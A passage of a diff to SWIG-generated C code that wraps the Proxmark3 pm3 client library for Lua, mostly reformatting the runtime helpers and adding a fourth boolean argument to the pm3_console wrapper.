all special methods: __getitem, __add etc. + * This would set .fn, .type, and other .xxx incorrectly, but we will overwrite it right away + */ + { + int new_metatable_index = lua_absindex(L,-1); + for(i=0;clss->bases[i];i++) { - int new_metatable_index = lua_absindex(L, -1); - for (i = 0; clss->bases[i]; i++) { - int base_metatable; - SWIG_Lua_get_class_metatable(L, clss->bases[i]->fqname); - base_metatable = lua_absindex(L, -1); - SWIG_Lua_merge_tables_by_index(L, new_metatable_index, base_metatable); - lua_pop(L, 1); - } + int base_metatable; + SWIG_Lua_get_class_metatable(L,clss->bases[i]->fqname); + base_metatable = lua_absindex(L,-1); + SWIG_Lua_merge_tables_by_index(L,new_metatable_index, base_metatable); + lua_pop(L,1); } - /* And now we will overwrite all incorrectly set data */ + } + /* And now we will overwrite all incorrectly set data */ #endif - /* add string of class name called ".type" */ - lua_pushstring(L, ".type"); - lua_pushstring(L, clss->fqname); - lua_rawset(L, -3); - /* add a table called bases */ - lua_pushstring(L, ".bases"); - lua_newtable(L); - lua_rawset(L, -3); - /* add a table called ".get" */ - lua_pushstring(L, ".get"); - lua_newtable(L); - lua_rawset(L, -3); - /* add a table called ".set" */ - lua_pushstring(L, ".set"); - lua_newtable(L); - lua_rawset(L, -3); - /* add a table called ".fn" */ - lua_pushstring(L, ".fn"); - lua_newtable(L); - /* add manual disown method */ - SWIG_Lua_add_function(L, "__disown", SWIG_Lua_class_disown); - lua_rawset(L, -3); - /* add accessor fns for using the .get,.set&.fn */ - SWIG_Lua_add_function(L, "__index", SWIG_Lua_class_get); - SWIG_Lua_add_function(L, "__newindex", SWIG_Lua_class_set); - SWIG_Lua_add_function(L, "__gc", SWIG_Lua_class_destruct); - /* add it */ - lua_rawset(L, -3); /* metatable into registry */ - lua_pop(L, 1); /* tidy stack (remove registry) */ - assert(lua_gettop(L) == begin); + /* add string of class name called ".type" */ + lua_pushstring(L,".type"); + lua_pushstring(L,clss->fqname); + lua_rawset(L,-3); + /* add a table called bases */ + lua_pushstring(L,".bases"); + lua_newtable(L); + lua_rawset(L,-3); + /* add a table called ".get" */ + lua_pushstring(L,".get"); + lua_newtable(L); + lua_rawset(L,-3); + /* add a table called ".set" */ + lua_pushstring(L,".set"); + lua_newtable(L); + lua_rawset(L,-3); + /* add a table called ".fn" */ + lua_pushstring(L,".fn"); + lua_newtable(L); + /* add manual disown method */ + SWIG_Lua_add_function(L,"__disown",SWIG_Lua_class_disown); + lua_rawset(L,-3); + /* add accessor fns for using the .get,.set&.fn */ + SWIG_Lua_add_function(L,"__index",SWIG_Lua_class_get); + SWIG_Lua_add_function(L,"__newindex",SWIG_Lua_class_set); + SWIG_Lua_add_function(L,"__gc",SWIG_Lua_class_destruct); + /* add it */ + lua_rawset(L,-3); /* metatable into registry */ + lua_pop(L,1); /* tidy stack (remove registry) */ + assert(lua_gettop(L) == begin); #if defined(SWIG_LUA_SQUASH_BASES) && (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA) - /* Now merge all symbols from .fn, .set, .get etc from bases to our tables */ - SWIG_Lua_class_squash_bases(L, clss); + /* Now merge all symbols from .fn, .set, .get etc from bases to our tables */ + SWIG_Lua_class_squash_bases(L,clss); #endif - SWIG_Lua_get_class_metatable(L, clss->fqname); - SWIG_Lua_add_class_instance_details(L, clss); /* recursive adding of details (atts & ops) */ - lua_pop(L, 1); /* tidy stack (remove class metatable) */ - assert(lua_gettop(L) == begin); + SWIG_Lua_get_class_metatable(L,clss->fqname); + SWIG_Lua_add_class_instance_details(L,clss); /* recursive adding of details (atts & ops) */ + lua_pop(L,1); /* tidy stack (remove class metatable) */ + assert( lua_gettop(L) == begin ); } -SWIGINTERN void SWIG_Lua_class_register(lua_State *L, swig_lua_class *clss) { - int SWIGUNUSED begin; - assert(lua_istable(L, -1)); /* This is a table (module or namespace) where classes will be added */ - SWIG_Lua_class_register_instance(L, clss); - SWIG_Lua_class_register_static(L, clss); +SWIGINTERN void SWIG_Lua_class_register(lua_State *L,swig_lua_class *clss) +{ + int SWIGUNUSED begin; + assert(lua_istable(L,-1)); /* This is a table (module or namespace) where classes will be added */ + SWIG_Lua_class_register_instance(L,clss); + SWIG_Lua_class_register_static(L,clss); - /* Add links from static part to instance part and vice versa */ - /* [SWIG registry] [Module] - * "MyClass" ----> [MyClass metatable] <===== "MyClass" -+> [static part] - * ".get" ----> ... | | getmetatable()----| - * ".set" ----> ... | | | - * ".static" --------------)----------------/ [static part metatable] - * | ".get" --> ... - * | ".set" --> .... - * |=============================== ".instance" - */ - begin = lua_gettop(L); - lua_pushstring(L, clss->cls_static->name); - lua_rawget(L, -2); /* get class static table */ - assert(lua_istable(L, -1)); - lua_getmetatable(L, -1); - assert(lua_istable(L, -1)); /* get class static metatable */ - lua_pushstring(L, ".instance"); /* prepare key */ + /* Add links from static part to instance part and vice versa */ + /* [SWIG registry] [Module] + * "MyClass" ----> [MyClass metatable] <===== "MyClass" -+> [static part] + * ".get" ----> ... | | getmetatable()----| + * ".set" ----> ... | | | + * ".static" --------------)----------------/ [static part metatable] + * | ".get" --> ... + * | ".set" --> .... + * |=============================== ".instance" + */ + begin = lua_gettop(L); + lua_pushstring(L,clss->cls_static->name); + lua_rawget(L,-2); /* get class static table */ + assert(lua_istable(L,-1)); + lua_getmetatable(L,-1); + assert(lua_istable(L,-1)); /* get class static metatable */ + lua_pushstring(L,".instance"); /* prepare key */ - SWIG_Lua_get_class_metatable(L, clss->fqname); /* get class metatable */ - assert(lua_istable(L, -1)); - lua_pushstring(L, ".static"); /* prepare key */ - lua_pushvalue(L, -4); /* push static class TABLE */ - assert(lua_istable(L, -1)); - lua_rawset(L, -3); /* assign static class table(!NOT metatable) as ".static" member of class metatable */ - lua_rawset(L, -3); /* assign class metatable as ".instance" member of class static METATABLE */ - lua_pop(L, 2); - assert(lua_gettop(L) == begin); + SWIG_Lua_get_class_metatable(L,clss->fqname); /* get class metatable */ + assert(lua_istable(L,-1)); + lua_pushstring(L,".static"); /* prepare key */ + lua_pushvalue(L, -4); /* push static class TABLE */ + assert(lua_istable(L,-1)); + lua_rawset(L,-3); /* assign static class table(!NOT metatable) as ".static" member of class metatable */ + lua_rawset(L,-3); /* assign class metatable as ".instance" member of class static METATABLE */ + lua_pop(L,2); + assert(lua_gettop(L) == begin); } #endif /* SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_LUA */ #if (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUA) || (SWIG_LUA_TARGET == SWIG_LUA_FLAVOR_ELUAC) -SWIGINTERN void SWIG_Lua_elua_class_register_instance(lua_State *L, swig_lua_class *clss) { - const int SWIGUNUSED begin = lua_gettop(L); - int i; - /* if name already there (class is already registered) then do nothing */ - SWIG_Lua_get_class_registry(L); /* get the registry */ - lua_pushstring(L, clss->fqname); /* get the name */ - lua_rawget(L, -2); - if (!lua_isnil(L, -1)) { - lua_pop(L, 2); - assert(lua_gettop(L) == begin); - return; - } - lua_pop(L, 2); /* tidy stack */ - /* Recursively initialize all bases */ - for (i = 0; clss->bases[i]; i++) { - SWIG_Lua_elua_class_register_instance(L, clss->bases[i]); - } - /* Again, get registry and push name */ - SWIG_Lua_get_class_registry(L); /* get the registry */ - lua_pushstring(L, clss->fqname); /* get the name */ - assert(clss->metatable); - lua_pushrotable(L, (void *)(clss->metatable)); /* create the metatable */ - lua_rawset(L, -3); - lua_pop(L, 1); - assert(lua_gettop(L) == begin); +SWIGINTERN void SWIG_Lua_elua_class_register_instance(lua_State *L, swig_lua_class *clss) +{ + const int SWIGUNUSED begin = lua_gettop(L); + int i; + /* if name already there (class is already registered) then do nothing */ + SWIG_Lua_get_class_registry(L); /* get the registry */ + lua_pushstring(L,clss->fqname); /* get the name */ + lua_rawget(L,-2); + if(!lua_isnil(L,-1)) { + lua_pop(L,2); + assert(lua_gettop(L)==begin); + return; + } + lua_pop(L,2); /* tidy stack */ + /* Recursively initialize all bases */ + for(i=0;clss->bases[i];i++) + { + SWIG_Lua_elua_class_register_instance(L,clss->bases[i]); + } + /* Again, get registry and push name */ + SWIG_Lua_get_class_registry(L); /* get the registry */ + lua_pushstring(L,clss->fqname); /* get the name */ + assert(clss->metatable); + lua_pushrotable(L, (void*)(clss->metatable)); /* create the metatable */ + lua_rawset(L,-3); + lua_pop(L,1); + assert(lua_gettop(L) == begin); } #endif /* elua && eluac */ @@ -2440,124 +2502,147 @@ SWIGINTERN void SWIG_Lua_elua_class_register_instance(lua_State *L, swig_lua_cla * ----------------------------------------------------------------------------- */ /* helper to add metatable to new lua object */ -SWIGINTERN void SWIG_Lua_AddMetatable(lua_State *L, swig_type_info *type) { - if (type->clientdata) { /* there is clientdata: so add the metatable */ - SWIG_Lua_get_class_metatable(L, ((swig_lua_class *)(type->clientdata))->fqname); - if (lua_istable(L, -1)) { - lua_setmetatable(L, -2); - } else { - lua_pop(L, 1); - } +SWIGINTERN void SWIG_Lua_AddMetatable(lua_State *L,swig_type_info *type) +{ + if (type->clientdata) /* there is clientdata: so add the metatable */ + { + SWIG_Lua_get_class_metatable(L,((swig_lua_class*)(type->clientdata))->fqname); + if (lua_istable(L,-1)) + { + lua_setmetatable(L,-2); } + else + { + lua_pop(L,1); + } + } } /* pushes a new object into the lua stack */ -SWIGRUNTIME void SWIG_Lua_NewPointerObj(lua_State *L, void *ptr, swig_type_info *type, int own) { - swig_lua_userdata *usr; - if (!ptr) { - lua_pushnil(L); - return; - } - usr = (swig_lua_userdata *)lua_newuserdata(L, sizeof(swig_lua_userdata)); /* get data */ - usr->ptr = ptr; /* set the ptr */ - usr->type = type; - usr->own = own; +SWIGRUNTIME void SWIG_Lua_NewPointerObj(lua_State *L,void *ptr,swig_type_info *type, int own) +{ + swig_lua_userdata *usr; + if (!ptr){ + lua_pushnil(L); + return; + } + usr=(swig_lua_userdata*)lua_newuserdata(L,sizeof(swig_lua_userdata)); /* get data */ + usr->ptr=ptr; /* set the ptr */ + usr->type=type; + usr->own=own; #if (SWIG_LUA_TARGET != SWIG_LUA_FLAVOR_ELUAC) - SWIG_Lua_AddMetatable(L, type); /* add metatable */ + SWIG_Lua_AddMetatable(L,type); /* add metatable */ #endif } /* takes a object from the lua stack & converts it into an object of the correct type (if possible) */ -SWIGRUNTIME int SWIG_Lua_ConvertPtr(lua_State *L, int index, void **ptr, swig_type_info *type, int flags) { - int ret = SWIG_ERROR; - swig_lua_userdata *usr; - swig_cast_info *cast; - /* special case: lua nil => NULL pointer */ - if (lua_isnil(L, index)) { - *ptr = 0; - return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; +SWIGRUNTIME int SWIG_Lua_ConvertPtr(lua_State *L,int index,void **ptr,swig_type_info *type,int flags) +{ + int ret = SWIG_ERROR; + swig_lua_userdata *usr; + swig_cast_info *cast; + /* special case: lua nil => NULL pointer */ + if (lua_isnil(L,index)) + { + *ptr=0; + return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; + } + if (lua_islightuserdata(L,index)) + { + *ptr=lua_touserdata(L,index); + return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; + } + usr=(swig_lua_userdata*)lua_touserdata(L,index); /* get data */ + if (usr) + { + if (((flags & SWIG_POINTER_RELEASE) == SWIG_POINTER_RELEASE) && !usr->own) + { + return SWIG_ERROR_RELEASE_NOT_OWNED; } - if (lua_islightuserdata(L, index)) { - *ptr = lua_touserdata(L, index); - return (flags & SWIG_POINTER_NO_NULL) ? SWIG_NullReferenceError : SWIG_OK; + if (flags & SWIG_POINTER_DISOWN) /* must disown the object */ + { + usr->own = 0; } - usr = (swig_lua_userdata *)lua_touserdata(L, index); /* get data */ - if (usr) { - if (((flags & SWIG_POINTER_RELEASE) == SWIG_POINTER_RELEASE) && !usr->own) { - return SWIG_ERROR_RELEASE_NOT_OWNED; - } - if (flags & SWIG_POINTER_DISOWN) { /* must disown the object */ - usr->own = 0; - } - if (!type) { /* special cast void*, no casting fn */ - *ptr = usr->ptr; - ret = SWIG_OK; - } else { - cast = SWIG_TypeCheck(usr->type->name, type); /* performs normal type checking */ - if (cast) { - int newmemory = 0; - *ptr = SWIG_TypeCast(cast, usr->ptr, &newmemory); - assert(!newmemory); /* newmemory handling not yet implemented */ - ret = SWIG_OK; - } - } - if ((ret == SWIG_OK) && (flags & SWIG_POINTER_CLEAR)) { - usr->ptr = 0; - } + if (!type) /* special cast void*, no casting fn */ + { + *ptr=usr->ptr; + ret = SWIG_OK; } - return ret; + else + { + cast=SWIG_TypeCheck(usr->type->name,type); /* performs normal type checking */ + if (cast) + { + int newmemory = 0; + *ptr=SWIG_TypeCast(cast,usr->ptr,&newmemory); + assert(!newmemory); /* newmemory handling not yet implemented */ + ret = SWIG_OK; + } + } + if ((ret == SWIG_OK) && (flags & SWIG_POINTER_CLEAR)) + { + usr->ptr = 0; + } + } + return ret; } -SWIGRUNTIME void *SWIG_Lua_MustGetPtr(lua_State *L, int index, swig_type_info *type, int flags, - int argnum, const char *func_name) { - void *result = 0; - if (!SWIG_IsOK(SWIG_ConvertPtr(L, index, &result, type, flags))) { - luaL_error(L, "Error in %s, expected a %s at argument number %d\n", - func_name, (type && type->str) ? type->str : "void*", argnum); - } - return result; +SWIGRUNTIME void* SWIG_Lua_MustGetPtr(lua_State *L,int index,swig_type_info *type,int flags, + int argnum,const char *func_name){ + void *result = 0; + if (!SWIG_IsOK(SWIG_ConvertPtr(L,index,&result,type,flags))){ + luaL_error (L,"Error in %s, expected a %s at argument number %d\n", + func_name,(type && type->str)?type->str:"void*",argnum); + } + return result; } /* pushes a packed userdata. user for member fn pointers only */ -SWIGRUNTIME void SWIG_Lua_NewPackedObj(lua_State *L, void *ptr, size_t size, swig_type_info *type) { - swig_lua_rawdata *raw; - assert(ptr); /* not acceptable to pass in a NULL value */ - raw = (swig_lua_rawdata *)lua_newuserdata(L, sizeof(swig_lua_rawdata) - 1 + size); /* alloc data */ - raw->type = type; - raw->own = 0; - memcpy(raw->data, ptr, size); /* copy the data */ - SWIG_Lua_AddMetatable(L, type); /* add metatable */ +SWIGRUNTIME void SWIG_Lua_NewPackedObj(lua_State *L,void *ptr,size_t size,swig_type_info *type) +{ + swig_lua_rawdata *raw; + assert(ptr); /* not acceptable to pass in a NULL value */ + raw=(swig_lua_rawdata*)lua_newuserdata(L,sizeof(swig_lua_rawdata)-1+size); /* alloc data */ + raw->type=type; + raw->own=0; + memcpy(raw->data,ptr,size); /* copy the data */ + SWIG_Lua_AddMetatable(L,type); /* add metatable */ } /* converts a packed userdata. user for member fn pointers only */ -SWIGRUNTIME int SWIG_Lua_ConvertPacked(lua_State *L, int index, void *ptr, size_t size, swig_type_info *type) { - swig_lua_rawdata *raw; - raw = (swig_lua_rawdata *)lua_touserdata(L, index); /* get data */ - if (!raw) return SWIG_ERROR; /* error */ - if (type == 0 || type == raw->type) { /* void* or identical type */ - memcpy(ptr, raw->data, size); /* copy it */ - return SWIG_OK; /* ok */ - } - return SWIG_ERROR; /* error */ +SWIGRUNTIME int SWIG_Lua_ConvertPacked(lua_State *L,int index,void *ptr,size_t size,swig_type_info *type) +{ + swig_lua_rawdata *raw; + raw=(swig_lua_rawdata*)lua_touserdata(L,index); /* get data */ + if (!raw) return SWIG_ERROR; /* error */ + if (type==0 || type==raw->type) /* void* or identical type */ + { + memcpy(ptr,raw->data,size); /* copy it */ + return SWIG_OK; /* ok */ + } + return SWIG_ERROR; /* error */ } /* a function to get the typestring of a piece of data */ -SWIGRUNTIME const char *SWIG_Lua_typename(lua_State *L, int tp) { - swig_lua_userdata *usr; - if (lua_isuserdata(L, tp)) { - usr = (swig_lua_userdata *)lua_touserdata(L, tp); /* get data */ - if (usr && usr->type && usr->type->str) - return usr->type->str; - return "userdata (unknown type)"; - } - return lua_typename(L, lua_type(L, tp)); +SWIGRUNTIME const char *SWIG_Lua_typename(lua_State *L, int tp) +{ + swig_lua_userdata *usr; + if (lua_isuserdata(L,tp)) + { + usr=(swig_lua_userdata*)lua_touserdata(L,tp); /* get data */ + if (usr && usr->type && usr->type->str) + return usr->type->str; + return "userdata (unknown type)"; + } + return lua_typename(L,lua_type(L,tp)); } /* lua callable function to get the userdata's type */ -SWIGRUNTIME int SWIG_Lua_type(lua_State *L) { - lua_pushstring(L, SWIG_Lua_typename(L, 1)); - return 1; +SWIGRUNTIME int SWIG_Lua_type(lua_State *L) +{ + lua_pushstring(L,SWIG_Lua_typename(L,1)); + return 1; } /* ----------------------------------------------------------------------------- @@ -2568,46 +2653,46 @@ SWIGRUNTIME int SWIG_Lua_type(lua_State *L) { /* Install Constants */ SWIGINTERN void SWIG_Lua_InstallConstants(lua_State *L, swig_lua_const_info constants[]) { - int i; - for (i = 0; constants[i].type; i++) { - switch (constants[i].type) { - case SWIG_LUA_INT: - lua_pushstring(L, constants[i].name); - lua_pushinteger(L, (lua_Integer)constants[i].lvalue); - lua_rawset(L, -3); - break; - case SWIG_LUA_FLOAT: - lua_pushstring(L, constants[i].name); - lua_pushnumber(L, (lua_Number)constants[i].dvalue); - lua_rawset(L, -3); - break; - case SWIG_LUA_CHAR: - lua_pushstring(L, constants[i].name); - { - char c = (char)constants[i].lvalue; - lua_pushlstring(L, &c, 1); - } - lua_rawset(L, -3); - break; - case SWIG_LUA_STRING: - lua_pushstring(L, constants[i].name); - lua_pushstring(L, (char *) constants[i].pvalue); - lua_rawset(L, -3); - break; - case SWIG_LUA_POINTER: - lua_pushstring(L, constants[i].name); - SWIG_NewPointerObj(L, constants[i].pvalue, *(constants[i]).ptype, 0); - lua_rawset(L, -3); - break; - case SWIG_LUA_BINARY: - lua_pushstring(L, constants[i].name); - SWIG_NewMemberObj(L, constants[i].pvalue, constants[i].lvalue, *(constants[i]).ptype); - lua_rawset(L, -3); - break; - default: - break; - } + int i; + for (i = 0; constants[i].type; i++) { + switch(constants[i].type) { + case SWIG_LUA_INT: + lua_pushstring(L,constants[i].name); + lua_pushinteger(L,(lua_Integer)constants[i].lvalue); + lua_rawset(L,-3); + break; + case SWIG_LUA_FLOAT: + lua_pushstring(L,constants[i].name); + lua_pushnumber(L,(lua_Number)constants[i].dvalue); + lua_rawset(L,-3); + break; + case SWIG_LUA_CHAR: + lua_pushstring(L,constants[i].name); + { + char c = (char)constants[i].lvalue; + lua_pushlstring(L,&c,1); + } + lua_rawset(L,-3); + break; + case SWIG_LUA_STRING: + lua_pushstring(L,constants[i].name); + lua_pushstring(L,(char *) constants[i].pvalue); + lua_rawset(L,-3); + break; + case SWIG_LUA_POINTER: + lua_pushstring(L,constants[i].name); + SWIG_NewPointerObj(L,constants[i].pvalue, *(constants[i]).ptype,0); + lua_rawset(L,-3); + break; + case SWIG_LUA_BINARY: + lua_pushstring(L,constants[i].name); + SWIG_NewMemberObj(L,constants[i].pvalue,constants[i].lvalue,*(constants[i]).ptype); + lua_rawset(L,-3); + break; + default: + break; } + } } #endif @@ -2625,19 +2710,19 @@ In lua 5.1.X it's luaL_dostring() */ SWIGINTERN int SWIG_Lua_dostring(lua_State *L, const char *str) { - int ok, top; - if (str == 0 || str[0] == 0) return 0; /* nothing to do */ - top = lua_gettop(L); /* save stack */ + int ok,top; + if (str==0 || str[0]==0) return 0; /* nothing to do */ + top=lua_gettop(L); /* save stack */ #if (defined(LUA_VERSION_NUM) && (LUA_VERSION_NUM>=501)) - ok = luaL_dostring(L, str); /* looks like this is lua 5.1.X or later, good */ + ok=luaL_dostring(L,str); /* looks like this is lua 5.1.X or later, good */ #else - ok = lua_dostring(L, str); /* might be lua 5.0.x, using lua_dostring */ + ok=lua_dostring(L,str); /* might be lua 5.0.x, using lua_dostring */ #endif - if (ok != 0) { - SWIG_DOSTRING_FAIL(lua_tostring(L, -1)); - } - lua_settop(L, top); /* restore the stack */ - return ok; + if (ok!=0) { + SWIG_DOSTRING_FAIL(lua_tostring(L,-1)); + } + lua_settop(L,top); /* restore the stack */ + return ok; } #ifdef __cplusplus @@ -2667,218 +2752,212 @@ static swig_module_info swig_module = {swig_types, 1, 0, 0, 0, 0}; #include "pm3.h" #include "comms.h" -SWIGINTERN pm3 *new_pm3__SWIG_0(void) { +SWIGINTERN pm3 *new_pm3__SWIG_0(void){ // printf("SWIG pm3 constructor, get current pm3\n"); - pm3_device_t *p = pm3_get_current_dev(); - p->script_embedded = 1; - return p; -} + pm3_device_t * p = pm3_get_current_dev(); + p->script_embedded = 1; + return p; + } SWIGINTERN int SWIG_lua_isnilstring(lua_State *L, int idx) { - int ret = lua_isstring(L, idx); - if (!ret) - ret = lua_isnil(L, idx); - return ret; + int ret = lua_isstring(L, idx); + if (!ret) + ret = lua_isnil(L, idx); + return ret; } -SWIGINTERN pm3 *new_pm3__SWIG_1(char *port) { +SWIGINTERN pm3 *new_pm3__SWIG_1(char *port){ // printf("SWIG pm3 constructor with port, open pm3\n"); - pm3_device_t *p = pm3_open(port); - p->script_embedded = 0; - return p; -} -SWIGINTERN void delete_pm3(pm3 *self) { - if (self->script_embedded) { + pm3_device_t * p = pm3_open(port); + p->script_embedded = 0; + return p; + } +SWIGINTERN void delete_pm3(pm3 *self){ + if (self->script_embedded) { // printf("SWIG pm3 destructor, nothing to do\n"); - } else { + } else { // printf("SWIG pm3 destructor, close pm3\n"); - pm3_close(self); - } -} + pm3_close(self); + } + } #ifdef __cplusplus extern "C" { #endif -static int _wrap_new_pm3__SWIG_0(lua_State *L) { - int SWIG_arg = 0; - pm3 *result = 0 ; - - SWIG_check_num_args("pm3::pm3", 0, 0) - result = (pm3 *)new_pm3__SWIG_0(); - SWIG_NewPointerObj(L, result, SWIGTYPE_p_pm3, 1); - SWIG_arg++; - return SWIG_arg; - -fail: - SWIGUNUSED; - lua_error(L); - return 0; +static int _wrap_new_pm3__SWIG_0(lua_State* L) { + int SWIG_arg = 0; + pm3 *result = 0 ; + + SWIG_check_num_args("pm3::pm3",0,0) + result = (pm3 *)new_pm3__SWIG_0(); + SWIG_NewPointerObj(L,result,SWIGTYPE_p_pm3,1); SWIG_arg++; + return SWIG_arg; + + fail: SWIGUNUSED; + lua_error(L); + return 0; } -static int _wrap_new_pm3__SWIG_1(lua_State *L) { - int SWIG_arg = 0; - char *arg1 = (char *) 0 ; - pm3 *result = 0 ; - - SWIG_check_num_args("pm3::pm3", 1, 1) - if (!SWIG_lua_isnilstring(L, 1)) SWIG_fail_arg("pm3::pm3", 1, "char *"); - arg1 = (char *)lua_tostring(L, 1); - result = (pm3 *)new_pm3__SWIG_1(arg1); - SWIG_NewPointerObj(L, result, SWIGTYPE_p_pm3, 1); - SWIG_arg++; - return SWIG_arg; - -fail: - SWIGUNUSED; - lua_error(L); - return 0; +static int _wrap_new_pm3__SWIG_1(lua_State* L) { + int SWIG_arg = 0; + char *arg1 = (char *) 0 ; + pm3 *result = 0 ; + + SWIG_check_num_args("pm3::pm3",1,1) + if(!SWIG_lua_isnilstring(L,1)) SWIG_fail_arg("pm3::pm3",1,"char *"); + arg1 = (char *)lua_tostring(L, 1); + result = (pm3 *)new_pm3__SWIG_1(arg1); + SWIG_NewPointerObj(L,result,SWIGTYPE_p_pm3,1); SWIG_arg++; + return SWIG_arg; + + fail: SWIGUNUSED; + lua_error(L); + return 0; } -static int _wrap_new_pm3(lua_State *L) { - int argc; - int argv[2] = { - 1, 2 - }; - - argc = lua_gettop(L); - if (argc == 0) { - return _wrap_new_pm3__SWIG_0(L); +static int _wrap_new_pm3(lua_State* L) { + int argc; + int argv[2]={ + 1,2 + }; + + argc = lua_gettop(L); + if (argc == 0) { + return _wrap_new_pm3__SWIG_0(L); + } + if (argc == 1) { + int _v = 0; + { + _v = SWIG_lua_isnilstring(L,argv[0]); } - if (argc == 1) { - int _v = 0; - { - _v = SWIG_lua_isnilstring(L, argv[0]); - } - if (_v) { - return _wrap_new_pm3__SWIG_1(L); - } + if (_v) { + return _wrap_new_pm3__SWIG_1(L); } - - SWIG_Lua_pusherrstring(L, "Wrong arguments for overloaded function 'new_pm3'\n" - " Possible C/C++ prototypes are:\n" - " pm3::pm3()\n" - " pm3::pm3(char *)\n"); - lua_error(L); - return 0; + } + + SWIG_Lua_pusherrstring(L,"Wrong arguments for overloaded function 'new_pm3'\n" + " Possible C/C++ prototypes are:\n" + " pm3::pm3()\n" + " pm3::pm3(char *)\n"); + lua_error(L);return 0; } -static int _wrap_pm3_console(lua_State *L) { - int SWIG_arg = 0; - pm3 *arg1 = (pm3 *) 0 ; - char *arg2 = (char *) 0 ; - bool arg3 = (bool) false ; - int result; - - SWIG_check_num_args("pm3::console", 2, 3) - if (!SWIG_isptrtype(L, 1)) SWIG_fail_arg("pm3::console", 1, "pm3 *"); - if (!SWIG_lua_isnilstring(L, 2)) SWIG_fail_arg("pm3::console", 2, "char *"); - if (lua_gettop(L) >= 3 && !lua_isboolean(L, 3)) SWIG_fail_arg("pm3::console", 3, "bool"); - - if (!SWIG_IsOK(SWIG_ConvertPtr(L, 1, (void **)&arg1, SWIGTYPE_p_pm3, 0))) { - SWIG_fail_ptr("pm3_console", 1, SWIGTYPE_p_pm3); - } - - arg2 = (char *)lua_tostring(L, 2); - if (lua_gettop(L) >= 3) { - arg3 = (lua_toboolean(L, 3) != 0); - } - result = (int)pm3_console(arg1, arg2, arg3); - lua_pushnumber(L, (lua_Number) result); - SWIG_arg++; - return SWIG_arg; - -fail: - SWIGUNUSED; - lua_error(L); - return 0; +static int _wrap_pm3_console(lua_State* L) { + int SWIG_arg = 0; + pm3 *arg1 = (pm3 *) 0 ; + char *arg2 = (char *) 0 ; + bool arg3 = (bool) true ; + bool arg4 = (bool) true ; + int result; + + SWIG_check_num_args("pm3::console",2,4) + if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("pm3::console",1,"pm3 *"); + if(!SWIG_lua_isnilstring(L,2)) SWIG_fail_arg("pm3::console",2,"char *"); + if(lua_gettop(L)>=3 && !lua_isboolean(L,3)) SWIG_fail_arg("pm3::console",3,"bool"); + if(lua_gettop(L)>=4 && !lua_isboolean(L,4)) SWIG_fail_arg("pm3::console",4,"bool"); + + if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_pm3,0))){ + SWIG_fail_ptr("pm3_console",1,SWIGTYPE_p_pm3); + } + + arg2 = (char *)lua_tostring(L, 2); + if(lua_gettop(L)>=3){ + arg3 = (lua_toboolean(L, 3)!=0); + } + if(lua_gettop(L)>=4){ + arg4 = (lua_toboolean(L, 4)!=0); + } + result = (int)pm3_console(arg1,arg2,arg3,arg4); + lua_pushnumber(L, (lua_Number) result); SWIG_arg++; + return SWIG_arg; + + fail: SWIGUNUSED; + lua_error(L); + return 0; } -static int _wrap_pm3_name_get(lua_State *L) { - int SWIG_arg = 0; - pm3 *arg1 = (pm3 *) 0 ; - char *result = 0 ; - - SWIG_check_num_args("pm3::name", 1, 1) - if (!SWIG_isptrtype(L, 1)) SWIG_fail_arg("pm3::name", 1, "pm3 *"); - - if (!SWIG_IsOK(SWIG_ConvertPtr(L, 1, (void **)&arg1, SWIGTYPE_p_pm3, 0))) { - SWIG_fail_ptr("pm3_name_get", 1, SWIGTYPE_p_pm3); - } - - result = (char *)pm3_name_get(arg1); - lua_pushstring(L, (const char *)result); - SWIG_arg++; - return SWIG_arg; - -fail: - SWIGUNUSED; - lua_error(L); - return 0; +static int _wrap_pm3_name_get(lua_State* L) { + int SWIG_arg = 0; + pm3 *arg1 = (pm3 *) 0 ; + char *result = 0 ; + + SWIG_check_num_args("pm3::name",1,1) + if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("pm3::name",1,"pm3 *"); + + if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_pm3,0))){ + SWIG_fail_ptr("pm3_name_get",1,SWIGTYPE_p_pm3); + } + + result = (char *)pm3_name_get(arg1); + lua_pushstring(L,(const char *)result); SWIG_arg++; + return SWIG_arg; + + fail: SWIGUNUSED; + lua_error(L); + return 0; } -static int _wrap_pm3_grabbed_output_get(lua_State *L) { - int SWIG_arg = 0; - pm3 *arg1 = (pm3 *) 0 ; - char *result = 0 ; - - SWIG_check_num_args("pm3::grabbed_output", 1, 1) - if (!SWIG_isptrtype(L, 1)) SWIG_fail_arg("pm3::grabbed_output", 1, "pm3 *"); - - if (!SWIG_IsOK(SWIG_ConvertPtr(L, 1, (void **)&arg1, SWIGTYPE_p_pm3, 0))) { - SWIG_fail_ptr("pm3_grabbed_output_get", 1, SWIGTYPE_p_pm3); - } - - result = (char *)pm3_grabbed_output_get(arg1); - lua_pushstring(L, (const char *)result); - SWIG_arg++; - return SWIG_arg; - -fail: - SWIGUNUSED; - lua_error(L); - return 0; +static int _wrap_pm3_grabbed_output_get(lua_State* L) { + int SWIG_arg = 0; + pm3 *arg1 = (pm3 *) 0 ; + char *result = 0 ; + + SWIG_check_num_args("pm3::grabbed_output",1,1) + if(!SWIG_isptrtype(L,1)) SWIG_fail_arg("pm3::grabbed_output",1,"pm3 *"); + + if (!SWIG_IsOK(SWIG_ConvertPtr(L,1,(void**)&arg1,SWIGTYPE_p_pm3,0))){ + SWIG_fail_ptr("pm3_grabbed_output_get",1,SWIGTYPE_p_pm3); + } + + result = (char *)pm3_grabbed_output_get(arg1); + lua_pushstring(L,(const char *)result); SWIG_arg++; + return SWIG_arg; + + fail: SWIGUNUSED; + lua_error(L); + return 0; } static void swig_delete_pm3(void *obj) { - pm3 *arg1 = (pm3 *) obj; - delete_pm3(arg1); +pm3 *arg1 = (pm3 *) obj; +delete_pm3(arg1); } static int _proxy__wrap_new_pm3(lua_State *L) { - assert(lua_istable(L, 1)); - lua_pushcfunction(L, _wrap_new_pm3); - assert(!lua_isnil(L, -1)); - lua_replace(L, 1); /* replace our table with real 